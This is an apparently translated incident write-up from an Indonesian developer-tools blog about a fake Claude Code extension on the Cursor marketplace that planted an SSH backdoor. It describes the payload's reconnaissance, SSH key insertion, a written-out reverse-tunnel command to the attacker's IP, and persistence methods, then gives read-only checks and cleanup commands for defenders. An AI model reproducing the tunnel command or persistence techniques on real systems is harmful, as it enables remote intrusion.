Fake Claude Code Extension in Cursor Planting SSH Backdoor: How to Check and Clean

By , Tim Engineering APIPedia · Published · Updated · 8 min read

Versions 2.1.312 and 2.1.313 in the Cursor marketplace planted attackers' SSH keys. Just uninstalling is not enough; This is how to check and clean it.

APIPedia Cover: Fake Claude Code extension in Cursor planting SSH backdoor, versions 2.1.312 and 2.1.313, up to 5,000 users exposed for about 11 hours, IOC svc-telemetry and 134.209.82.225

The Claude Code extension circulating on the Cursor marketplace on October 29 2026 turned out to be a fake version that planted an SSH backdoor on the developer's computer. Versions 2.1.312 and 2.1.313 are available for around 11 hours and can be installed via automatic update. Removing the extension is not enough, because the backdoor remains.

This case made a lot of noise on X, Reddit, and Hacker News because it attacked tools developers use every day: code editors and AI assistants. This article summarizes what happens, how the load works, the myths circulating, and instructions for checking and cleaning your laptop.

What really happened?

On October 29, 2026 at around 02.27 Pacific time (16.27 WIB), a modified build of extension Anthropic.claude-code appeared on Cursor's extension marketplace, a VS Code-based code editor. The build can be downloaded until around 13.35 PT (October 30 03.35 WIB), then withdrawn.

This malicious package was discovered by Phorion, an endpoint security vendor for macOS. Cursor then removed the version, temporarily closed its marketplace, audited access, rotated keys, and worked with the cloud provider to shut down the attacker's servers.

Anthropic, via Felix Rieseberg, stated that this incident was not a breach of an Anthropic employee's system or laptop. Official distribution channels are not affected; the impact is limited to users who installed the extension from the Cursor marketplace.

Chronology of the fake Claude Code extension incident on the Cursor marketplace: appeared October 29 09.27 UTC (16.27 WIB), discovered Phorion, withdrawn 20.35 UTC, Anthropic statement October 30, and IOC Cursor update October 30 11.30 PT

Summary of key facts

AspectDetails
PackageAnthropic.claude-code (VS Code extension) in the Cursor marketplace
Dangerous version2.1.312 and 2.1.313 (macOS and Windows builds)
Display window29 Oct 2026, ±09.27–20.35 UTC (±11 hours)
Estimated impactUp to 5,000 users (Cursor figures quoted by Help Net Security and Sophos)
InventorPhorion
Main IOCSSH key commented svc-telemetry, IP 134.209.82.225
StatusThe version was withdrawn, the attack server was shut down, the backdoor that had been installed still needed to be cleaned manually

Why are sources different regarding version and marketplace?

Initial reports (Help Net Security, The Register, Sophos) only mention version 2.1.313. The Cursor Notice updated Oct. 30 at 11:30 a.m. PT clarified that 2.1.312 was also impacted. Phorion said the package was found in Open VSX, but Cursor and Manifold Security researchers said the source was Cursor's own marketplace. How attackers were able to upload packages there has not been explained by Cursor or Anthropic.

Why is this case viral?

  • The target is developers. The developer laptop stores SSH keys, cloud tokens, repository access, and sessions to the production server.
  • The publisher's name is original. The extension appears as an official product, so checking the publisher name doesn't help. Ax Sharma of Manifold Security puts it this way: checking the publisher's name is useless if the publisher is genuine.
  • Automatic updates. Users don't need to click anything; the editor draws the new version himself.
  • Coming in succession. The same week was also marked by other supply chain incidents, for example Polymarket being breached via a third party script and the $6.3 billion Binance hack.

How does the backdoor work?

The attacker inserts the IIFE ( immediately invoked function expression) function at the beginning of file extension.js which has been minified. The rest of the bundle looks like the original extension. Because IIFE executes immediately, the load runs as soon as Node loads the file, even before function activate() is called.

Diagram of how the backdoor works: IIFE in extension.js, sending host data, adding the svc-telemetry SSH key to authorized_keys, reverse SSH tunnel to 134.209.82.225, and persistence on macOS (LaunchAgent com.apple.sysmond), Windows (scheduled task SysMon) and Linux (cron @reboot)

The order is something like this:

  1. Reconnaissance. The payload sends the hostname, username, OS, architecture, home folder, working directory, Git email, public IP, and the names of up to 40 credential-like environment variables (not their values).
  2. SSH access. The attacker's public key is added to ~/.ssh/authorized_keys with comment svc-telemetry.
  3. Reverse tunnel. The payload opens ssh -N -R '*:0:localhost:22' to [email protected], so an attacker can get back into the victim's machine even if the machine is behind NAT.
  4. Persistence. A separate script is installed and tries to reconnect approximately every 60 seconds, remaining alive even if the editor is closed or the extension is removed.

The payload also tries to turn on the SSH service ( systemsetup -setremotelogin on on macOS, Add-WindowsCapability ... OpenSSH.Server on Windows). This step requires admin rights, so Cursor says it usually fails on most Macs and Windows. But keys are still added, persistence is still installed, and host data is still sent.

Myth vs fact

MythFact
"Anthropic hacked."Anthropic and Cursor both stated that this build was not made by Anthropic and that Anthropic's systems were not compromised. The problem is distribution via the Cursor marketplace.
"Just uninstall the extension."Wrong. SSH keys, LaunchAgent/scheduled task/cron, and script .smt remain behind.
"Mac is safe because tunnel failed."Only if Remote Login is off. If Remote Login is active or later turned on, the backdoor can be used immediately. Phorion insists this is not a defense.
"Ordinary VS Code users are also affected."There are no reports of malicious versions in Microsoft's Visual Studio Marketplace. Affected are installations or updates from the Cursor marketplace during the October 29 window.
"My token value has been stolen."What is sent is only the variable name. However, through the backdoor, attackers can read anything, so they keep rotating credentials.

How do I check whether my laptop is affected?

Run the command below. Everything just reads, doesn't change anything. For macOS and Linux:

# 1) Versi ekstensi yang terpasang di Cursor
cursor --list-extensions --show-versions 2>/dev/null | grep -i claude-code
ls ~/.cursor/extensions 2>/dev/null | grep -i anthropic.claude-code

# 2) Kunci SSH penyerang (IOC paling penting)
grep -n svc-telemetry ~/.ssh/authorized_keys 2>/dev/null && echo "TERDAMPAK" || echo "kunci tidak ditemukan"

# 3) File persistensi
ls -la ~/.config/.smt ~/.config/.smtk \
  ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
ls -la "${TMPDIR:-/tmp}"/.stk_* /tmp/.stk_* 2>/dev/null

# 4) Cron @reboot (Linux)
crontab -l 2>/dev/null | grep -n '\.config/\.smt'

# 5) Proses tunnel dan koneksi ke IP penyerang
ps aux | grep -E 'ssh -N -R|autossh' | grep -v grep
lsof -nP -i @134.209.82.225 2>/dev/null

For Windows, open PowerShell:

# Kunci SSH penyerang
Select-String -Path "$env:USERPROFILE\.ssh\authorized_keys","C:\ProgramData\ssh\administrators_authorized_keys" `
  -Pattern 'svc-telemetry' -ErrorAction SilentlyContinue

# Scheduled task dan file persistensi
Get-ScheduledTask -TaskName SysMon -ErrorAction SilentlyContinue
Test-Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd"
Test-Path "$env:USERPROFILE\.config\smt.cmd"

If you still have the VSIX file or its extension folder, compare hash extension.js with the IOC from Cursor:

shasum -a 256 ~/.cursor/extensions/anthropic.claude-code-2.1.31*/extension.js 2>/dev/null
# Berbahaya bila sama dengan:
# ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15

What should you do if you are affected?

Cursor provides official scripts remediate-macos.sh (run as normal user, not root) and remediate-windows.ps1 (PowerShell as Administrator) in its security notice. The script exits with a non-zero code if there is still a trace. For Linux there is no official script, so clean manual:

# Linux: hapus kunci, cron, script, dan tunnel (cadangan authorized_keys disimpan sebagai .bak)
sed -i.bak '/svc-telemetry/d' ~/.ssh/authorized_keys
crontab -l 2>/dev/null | grep -v '\.config/\.smt' | crontab -
rm -f ~/.config/.smt ~/.config/.smtk /tmp/.stk_*
pkill -f '[email protected]'

# macOS (bila tidak memakai skrip resmi)
launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.apple.sysmond.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.apple.sysmond.plist

After that:

  • Machine isolation showing signs of execution. Consider reinstalling when in doubt.
  • Check the SSH log to log in from localhost using key svc-telemetry. This is a sign that the attacker has entered.
  • Rotate credentials from other trusted machines: SSH keys, GitHub/GitLab tokens, cloud keys (AWS/GCP), and API keys of services you use, including API keys in the APIPedia console if stored on that machine.
  • Block 134.209.82.225 in the corporate firewall and look for the same IOC in the EDR.

What does this mean for developers and teams in Indonesia?

Editor extensions have the same rights as the user who runs them: they can read files, run processes, and open network connections. This case shows that "verified publishers" do not guarantee the contents of the package. Some habits worth implementing:

  • Turn off auto-update of extensions on the machine holding production access, then update on a scheduled basis once the release is a few days old.
  • Separate production credentials from everyday laptops. Use SSH keys with passphrases or hardware keys, and short-lived tokens.
  • Monitor changes to authorized_keys, LaunchAgents, cron, and scheduled tasks. Changes in this location rarely occur legally.
  • Create an allowlist for your team, just as you lock down npm dependencies. A similar lesson also emerged in the Node2Shell gap in Node.js.

FAQs

Will I be affected if I use Claude Code via the terminal (CLI)?

There are no reports that CLI or Anthropic's official distribution channels are impacted. Affected is extension Anthropic.claude-code version 2.1.312/2.1.313 from the Cursor marketplace.

I use Cursor but only update after October 30th. Safe?

If that version was never installed during the October 29 window, it's probably safe. Keep running command grep svc-telemetry above to be sure, because automatic updates can occur without you realizing it.

Does updating to the latest version remove the backdoor?

No. According to The Register and Cursor, installing the latest version does not remove the persistence mechanism. SSH keys, tasks, and scripts must be deleted separately.

How many victims?

Cursor estimates at most 5,000 users and plans to contact them directly. The updated official notification does not include figures, so these figures are still estimates.

Who did it?

No public attribution yet. How the attacker gained access to the Cursor marketplace has also not been explained.

Source

Topics:

${c.about}

Tim APIPedia — Tim Engineering APIPedia

Tim engineering di balik APIPedia yang membangun dan memelihara API data Indonesia - ongkir, OCR KTP, data wilayah, BMKG, hingga server MCP - dan menulis panduan integrasinya dari pengalaman langsung.